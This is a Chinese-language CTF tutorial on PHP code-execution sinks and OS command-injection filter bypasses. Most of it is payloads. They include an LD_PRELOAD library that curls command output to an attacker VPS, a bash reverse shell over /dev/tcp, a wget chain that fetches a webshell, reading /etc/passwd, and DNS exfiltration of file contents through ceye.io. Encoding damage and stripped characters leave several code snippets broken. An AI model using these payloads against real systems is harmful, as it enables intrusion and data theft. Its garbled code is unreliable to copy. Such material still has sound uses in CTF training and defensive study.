今天是代碼審計(jì)部分的一個(gè)技巧補(bǔ)充!前些陣子做了sql注入回顧篇系列!今天開啟php代碼審計(jì)系列!
今天內(nèi)容主要是CTF中命令注入及繞過(guò)的一些技巧!以及構(gòu)成RCE的一些情景!
在詳細(xì)介紹命令注入之前,有一點(diǎn)需要注意:命令注入與遠(yuǎn)程代碼執(zhí)行不同。他們的區(qū)別在于,遠(yuǎn)程代碼執(zhí)行實(shí)際上是調(diào)用服務(wù)器網(wǎng)站代碼進(jìn)行執(zhí)行,而命令注入則是調(diào)用操作系統(tǒng)命令進(jìn)行執(zhí)行。 雖然最終效果都會(huì)在目標(biāo)機(jī)器執(zhí)行操,但是他們還是有區(qū)別的,基于這個(gè)區(qū)別,我們?nèi)绾握业讲⒗梅绞揭彩怯兴煌模?/p>
代碼執(zhí)行 代碼執(zhí)行的幾種方式
${}執(zhí)行代碼 eval assert preg_replace create_function() array_map() call_user_func()/call_user_func_array() array_filter() usort(),uasort()
${}
執(zhí)行代碼
方法:${php代碼}
${phpinfo()};
eval()
執(zhí)行代碼
eval('echo 2;');
assert()
普通調(diào)用
//?a=phpinfo()?php assert($_POST['a']);?>
assert
函數(shù)支持動(dòng)態(tài)調(diào)用
//?a=phpinfo() ?php $a = 'assert'; $a($_POST['a']); ?>
php官方在php7中更改了assert
函數(shù)。在php7.0.29之后的版本不支持動(dòng)態(tài)調(diào)用。
以上兩種調(diào)用方法在php7.0.29版本之前都測(cè)試成功,7.0.29版本之后又動(dòng)態(tài)調(diào)用的方法無(wú)法成功。
在7.0.29版本之后發(fā)現(xiàn)的奇怪的一點(diǎn)
?php //?a=phpinfo() $a = 'assert'; $a($_POST['a']); ?> //phpinfo()無(wú)法執(zhí)行成功
?php $a = 'assert'; $a(phpinfo()); ?> //成功執(zhí)行phpinfo()
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int $count ]] )
preg_replace 執(zhí)行一個(gè)正則表達(dá)式的搜索和替換。
執(zhí)行代碼需要使用/e
修飾符。如果不使用/e
修飾符,代碼則不會(huì)執(zhí)行
$a = 'phpinfo()'; $b = preg_replace("/abc/e",$b,'abcd');
create_function()
說(shuō)明
string create_function ( string $args , string $code )
該函數(shù)用來(lái)創(chuàng)建匿名函數(shù)。
這個(gè)函數(shù)的實(shí)現(xiàn)大概是這樣的
$b = create_function('$name','echo $name;'); //實(shí)現(xiàn) function niming($name){ echo $name; } $b(yang); niming('yang');
第二個(gè)參數(shù)是執(zhí)行代碼的地方,將payload放在第二個(gè)參數(shù)的位置,然后調(diào)用該函數(shù)就可以執(zhí)行payload了。
執(zhí)行代碼
$a = 'phpinfo();'; $b = create_function(" ",$a); $b();
上面這種方法是最直接的,接下來(lái)看一點(diǎn)有趣的。
自己寫的小示例
$id=$_GET['id']; $code = 'echo $name. '.'的編號(hào)是'.$id.'; '; $b = create_function('$name',$code); //實(shí)現(xiàn) function niming($name){ echo $name."編號(hào)".$id; } $b('sd');
這里直接傳入phpinfo
是不行的,構(gòu)造的payload
?id=2;}phpinfo();/*
傳入后,代碼如下
function niming($name){ echo $name.編號(hào)2; }phpinfo();/* }
這樣就執(zhí)行了代碼,再給出網(wǎng)上找的一個(gè)例子。
?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = ‘strnatcasecmp'; $databases=array('1234′,'4321′); $sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function(‘$a, $b', $sort_function)); ?>
構(gòu)造的payload如下
?sort_by=”]);}phpinfo();/*
在自己寫示例的時(shí)候,因?yàn)榫W(wǎng)上的一個(gè)示例糾結(jié)了挺久。
代碼如下
?php //02-8.php?id=2;}phpinfo();/* $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "br/>"; echo "=============================="; echo "br/>"; $f1 = create_function('$a',$str2); echo "br/>"; echo "=============================="; ?>
糾結(jié)的原因是在這個(gè)例子中,構(gòu)造$str2
的時(shí)候,將變量a和變量b都寫在了引號(hào)之外,但是變量a是匿名函數(shù)的參數(shù),如果直接寫在單引號(hào)外面的話,解析的時(shí)候會(huì)認(rèn)為$a
沒有賦值,從而設(shè)置為空。繼續(xù)往下看,匿名函數(shù)也就無(wú)法正常的執(zhí)行。所以就在想辦法將$a
寫在單引號(hào)里面,使其可以正常的作為匿名函數(shù)的第二個(gè)參數(shù)。
array_map()
官方文檔
array array_map ( callable $callback , array $array1 [, array $... ] ) array_map():返回?cái)?shù)組,是為 array1 每個(gè)元素應(yīng)用 callback函數(shù)之后的數(shù)組。 callback 函數(shù)形參的數(shù)量和傳給 array_map() 數(shù)組數(shù)量,兩者必須一樣。
漏洞演示
//?a=assertb=phpinfo(); $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array);
call_user_func()/call_user_func_array()
和array_map()函數(shù)挺像的。
官方文檔
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 第一個(gè)參數(shù) callback 是被調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr ) 把第一個(gè)參數(shù)作為回調(diào)函數(shù)(callback)調(diào)用,把參數(shù)數(shù)組作(param_arr)為回調(diào)函數(shù)的的參數(shù)傳入。
示例
call_user_func()
// ?a=phpinfo(); call_user_func(assert,$_GET['a']);
call_user_func_array()
//?a=phpinfo(); $array[0] = $_GET['a']; call_user_func_array("assert",$array);
array_filter()
官方文檔
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 依次將 array 數(shù)組中的每個(gè)值傳遞到 callback 函數(shù)。如果 callback 函數(shù)返回 true,則 array 數(shù)組的當(dāng)前值會(huì)被包含在返回的結(jié)果數(shù)組中。數(shù)組的鍵名保留不變。
示例
$array[0] = $_GET['a']; array_filter($array,'assert');
usort()/uasort()
usrot
官方文檔
bool usort ( array $array , callable $value_compare_func ) 本函數(shù)將用用戶自定義的比較函數(shù)對(duì)一個(gè)數(shù)組中的值進(jìn)行排序。 如果要排序的數(shù)組需要用一種不尋常的標(biāo)準(zhǔn)進(jìn)行排序,那么應(yīng)該使用此函數(shù)。
shell_1
?php // ?1[]=test1[]=phpinfo();2=assert usort(...$_GET); ?>
只有在php5.6以上環(huán)境才可使用
詳解
關(guān)于...$_GET
是php5.6引入的新特性。即將數(shù)組展開成參數(shù)的形式。
shell_2
下面這種寫法只在php5.6版本以下可以使用。
// ?1=1+12=phpinfo(); usort($_GET,'asse'.'rt');
命令執(zhí)行 常見命令執(zhí)行函數(shù)
➜ ~ php -r "system('whoami');"
passthru()
➜ ~ php -r "passthru('whoami');"
exec()
➜ ~ php -r "echo exec('whoami');"
shell_exec()
➜ ~ php -r "echo shell_exec('whoami');"
`反引號(hào)
➜ ~ php -r "echo @`whoami`;"
ob_start()
官方文檔
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) 此函數(shù)將打開輸出緩沖。當(dāng)輸出緩沖激活后,腳本將不會(huì)輸出內(nèi)容(除http標(biāo)頭外),相反需要輸出的內(nèi)容被存儲(chǔ)在內(nèi)部緩沖區(qū)中。 內(nèi)部緩沖區(qū)的內(nèi)容可以用 ob_get_contents() 函數(shù)復(fù)制到一個(gè)字符串變量中。 想要輸出存儲(chǔ)在內(nèi)部緩沖區(qū)中的內(nèi)容,可以使用 ob_end_flush() 函數(shù)。另外, 使用 ob_end_clean() 函數(shù)會(huì)靜默丟棄掉緩沖區(qū)的內(nèi)容。
使用
?php ob_start("system"); echo "whoami"; ob_end_flush(); ?> //輸出www-data
mail函數(shù)+LD_PRELOAD執(zhí)行系統(tǒng)命令
思路
LD_PRELOAD可以用來(lái)設(shè)置程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù),php函數(shù)mail在實(shí)現(xiàn)的過(guò)程中會(huì)調(diào)用標(biāo)準(zhǔn)庫(kù)函數(shù),通過(guò)上傳一個(gè)編譯好的動(dòng)態(tài)鏈接程序(這個(gè)程序中重新定義了一個(gè)mail函數(shù)會(huì)調(diào)用的庫(kù)函數(shù),并且重新定義的庫(kù)函數(shù)中包含執(zhí)行系統(tǒng)命令的代碼。),再通過(guò)LD_PRELOAD來(lái)設(shè)置優(yōu)先加載我們的上傳的動(dòng)態(tài)鏈接程序,從而實(shí)現(xiàn)命令執(zhí)行。
利用
a.c
#include stdlib.h> #include stdio.h> #include string.h> int main(){ void payload() { system("curl http://vps_IP:4123/?a=`whoami`"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); } }
編譯
gcc -c -fPIC a.c -o a gcc -shared a -o a.so
mail.php
?php putenv("LD_PRELOAD=/var/www/html/a.so"); mail("a@localhost","","","",""); ?>
監(jiān)聽vps的4123端口,訪問mail.php。
繞過(guò)姿勢(shì)
空格
在bash下,可以用以下字符代替空格
${IFS} $IFS$9 %09
測(cè)試
root@kali:~# cattest.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#
這里解釋一下${IFS},$IFS,$IFS$9
的區(qū)別,首先$IFS
在linux下表示分隔符,然而我本地實(shí)驗(yàn)卻會(huì)發(fā)生這種情況,這里解釋一下,單純的cat$IFS2,bash
解釋器會(huì)把整個(gè)IFS2
當(dāng)做變量名,所以導(dǎo)致輸不出來(lái)結(jié)果,然而如果加一個(gè){}
就固定了變量名,同理在后面加個(gè)$可以起到截?cái)嗟淖饔?,但是為什么要?code>$9呢,因?yàn)?code>$9只是當(dāng)前系統(tǒng)shell進(jìn)程的第九個(gè)參數(shù)的持有者,它始終為空字符串!
%09測(cè)試
?php $cmd = $_GET['cmd']; system("$cmd"); ?> //http://ip/index.php?cmd=cat%091.txt
命令終止符
%00 %20#
命令分隔符
這里介紹5種姿勢(shì)
%0a 符號(hào)
%0d 符號(hào)
; 符號(hào)
在 shell 中,擔(dān)任”連續(xù)指令”功能的符號(hào)就是”分號(hào)”
符號(hào)
放在啟動(dòng)參數(shù)后面表示設(shè)置此進(jìn)程為后臺(tái)進(jìn)程,默認(rèn)情況下,進(jìn)程是前臺(tái)進(jìn)程,這時(shí)就把Shell給占據(jù)了,我們無(wú)法進(jìn)行其他操作,對(duì)于那些沒有交互的進(jìn)程,很多時(shí)候,我們希望將其在后臺(tái)啟動(dòng),可以在啟動(dòng)參數(shù)的時(shí)候加一個(gè)''實(shí)現(xiàn)這個(gè)目的。進(jìn)程切換到后臺(tái)的時(shí)候,我們把它稱為job。切換到后臺(tái)時(shí)會(huì)輸出相關(guān)job信息,這里36210就是該進(jìn)程的PID
| 符號(hào)
管道符左邊命令的輸出就會(huì)作為管道符右邊命令的輸入,所以左邊的輸出并不顯示
敏感字符繞過(guò)
這里假設(shè)過(guò)濾了cat
利用變量繞過(guò)
root@kali:~# a=l;b=s;$a$b
利用base編碼繞過(guò)
root@kali:~# echo 'cat' | base64 Y2F0Cg== root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt hello world! root@kali:~#
未定義的初始化變量
cat$x /etc/passwd
連接符
cat /etc/pass'w'd
七個(gè)字的命令執(zhí)行
這題是利用重命名文件繞過(guò)的,所以可以這樣進(jìn)行調(diào)用,因?yàn)橄拗屏嗣畹拈L(zhǎng)度,所以無(wú)法直接構(gòu)造,只能通過(guò)文件構(gòu)造
這里先介紹一下小技巧,linux下創(chuàng)建文件的命令可以用1>1創(chuàng)建文件名為1的空文件
進(jìn)一步fuzz發(fā)現(xiàn)a>1居然也可以,雖然會(huì)報(bào)錯(cuò),但是還是可以創(chuàng)建空文件。
ls>1可以直接把把ls的內(nèi)容導(dǎo)入一個(gè)文件中,但是會(huì)默認(rèn)追加\n
有了這個(gè)基礎(chǔ)我們?cè)賮?lái)看這道題
?php if(strlen($_GET[1])8){ echo shell_exec($_GET[1]); } ?>
簡(jiǎn)單的代碼,可以利用
1>wget\ 1>域名.\ 1>com\ 1>-O\ 1>she\ 1>ll.p\ 1>p ls>a sh a
這里注意.不能作為文件名的開頭,因?yàn)閘inux下.
是隱藏文件的開頭,ls列不出來(lái)
然而這里還有個(gè)問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時(shí)間排序
ls -t>a
網(wǎng)絡(luò)地址轉(zhuǎn)化為數(shù)字地址
網(wǎng)絡(luò)地址有另外一種表示形式就是數(shù)字地址,比如127.0.0.1可以轉(zhuǎn)化為2130706433可以直接訪問http://2130706433
或者http://0x7F000001
這樣就可以繞過(guò).的ip過(guò)濾,這里給個(gè)轉(zhuǎn)化網(wǎng)址http://www.msxindl.com/tools/ip/ip_num.asp
GCTF RCE
這題過(guò)濾了很多東西,下面說(shuō)一下比較重要的
|||;|%{}| |''|.|
這里給個(gè)payload
%0acat%09 %0Acat$IFS$9 %0acat
用%0a繞過(guò)curl然后在從我前面繞過(guò)空格的payload中隨便挑一個(gè)沒有過(guò)濾的
通配符繞過(guò)
Bash標(biāo)準(zhǔn)通配符(也稱為通配符模式)被各種命令行程序用于處理多個(gè)文件。有關(guān)標(biāo)準(zhǔn)通配符的更多信息,并不是每個(gè)人都知道有很多bash語(yǔ)法是可以使用問號(hào)“?”,正斜杠“/”,數(shù)字和字母來(lái)執(zhí)行系統(tǒng)命令的。你甚至可以使用相同數(shù)量的字符獲取文件內(nèi)容。
我們可以通過(guò)man 7 glob 查看通配符幫助或者直接訪問linux官網(wǎng)查詢文檔
這里我為大家舉個(gè)栗子:
例如ls命令我們可以通過(guò)以下語(yǔ)法代替執(zhí)行:
/???/?s --help
由于有師傅已經(jīng)寫的很好了,我也就不獻(xiàn)丑了!
處理無(wú)回顯的命令執(zhí)行
1.利用自己的vps
第一種是利用bash命令并在本地進(jìn)行nc監(jiān)聽結(jié)果查看回連日志,然后就行
先在vps處用nc進(jìn)行監(jiān)聽
nc -l -p 8080 -vvv
然后在靶機(jī)命令執(zhí)行處輸入
|bash -i > /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>1
第二種是msg反向回連
同樣vps用msg監(jiān)聽
vps的msf監(jiān)聽: use exploit/multi/handler set payload linux/armle/shell/reverse_tcp set lport 8080 set lhost xxx.xxx.xxx.xxx set exitonsession false exploit -j
然后在靶機(jī)命令執(zhí)行處輸入
|bash -i > /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>1
即可getflag
2.利用ceye平臺(tái)
平臺(tái)的payload
記錄在http request中
題目地址
http://192.168.10.55/
后臺(tái)源碼
?php $a = $_GET['id']; system("$a"); ?>
payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl訪問才會(huì)成功,在瀏覽器直接訪問時(shí)無(wú)效的。
效果
圖1
記錄在dns query中
簡(jiǎn)單介紹
DNS在解析的時(shí)候是逐級(jí)解析的,并且會(huì)留下日志,所以可以將回顯放在高級(jí)域名,這樣在解析的時(shí)候就會(huì)將回顯放在高級(jí)域名中,我們就可以在dns query中看到回顯。
舉個(gè)例子
在注冊(cè)ceye.io之后會(huì)分配一個(gè)三級(jí)域名。就是******.ceye.io。
ping `whoami`.******.ceye.io
上面這條命令最終在ping的時(shí)候ping的是“root.***\***.ceye.io”
,root就是我們構(gòu)造的惡意命令執(zhí)行的結(jié)果,我們把它放在四級(jí)域名這里,這樣在DNS解析的時(shí)候就會(huì)記錄下root這個(gè)四級(jí)域名。然后可以在ceye平臺(tái)上看到我們的dns解析日志。也就看到了命令執(zhí)行的回顯。
所以這種方法的使用必須有ping命令。
真題解析
題目存在robots.txt文件,訪問發(fā)現(xiàn)兩個(gè)文件
index.txt where_is_flag.php
index.php代碼
?php include("where_is_flag.php"); echo "ping"; $ip =(string)$_GET['ping']; $ip =str_replace(">","0.0",$ip); system("ping ".$ip);
可以看到存在ping命令,但是測(cè)試沒有回顯,于是就采用dnslog的方式來(lái)查看回顯。
payload
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io # 因?yàn)橛蛎胁辉试S有空格,但是php代碼中可能會(huì)含有空格,所以使用sed命令將php代碼的空格替換為xx
最終的url
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
在dns query中查看
圖2
可以看到文件的內(nèi)容是
?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>
由此得知flag.php的位置,繼續(xù)打印flag.php的內(nèi)容
獲取flag的url
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
圖三
得到flag。
Think one Think
命令注入的利用其實(shí)跟sql注入流程相似,首先找到命令執(zhí)行點(diǎn),然后一步一步bypass,最好自己搭建環(huán)境實(shí)地測(cè)試,同時(shí)結(jié)合官方文檔和資料,最終就會(huì)得到你需要的payload!
以上就是CTF命令執(zhí)行及繞過(guò)技巧的詳細(xì)內(nèi)容,更多關(guān)于CTF命令執(zhí)行及繞過(guò)技巧的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
標(biāo)簽:鷹潭 六安 柳州 鶴崗 克拉瑪依 唐山 遼陽(yáng) 白城
巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《CTF命令執(zhí)行及繞過(guò)技巧》,本文關(guān)鍵詞 CTF,命令,執(zhí)行,及,繞過(guò),技巧,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。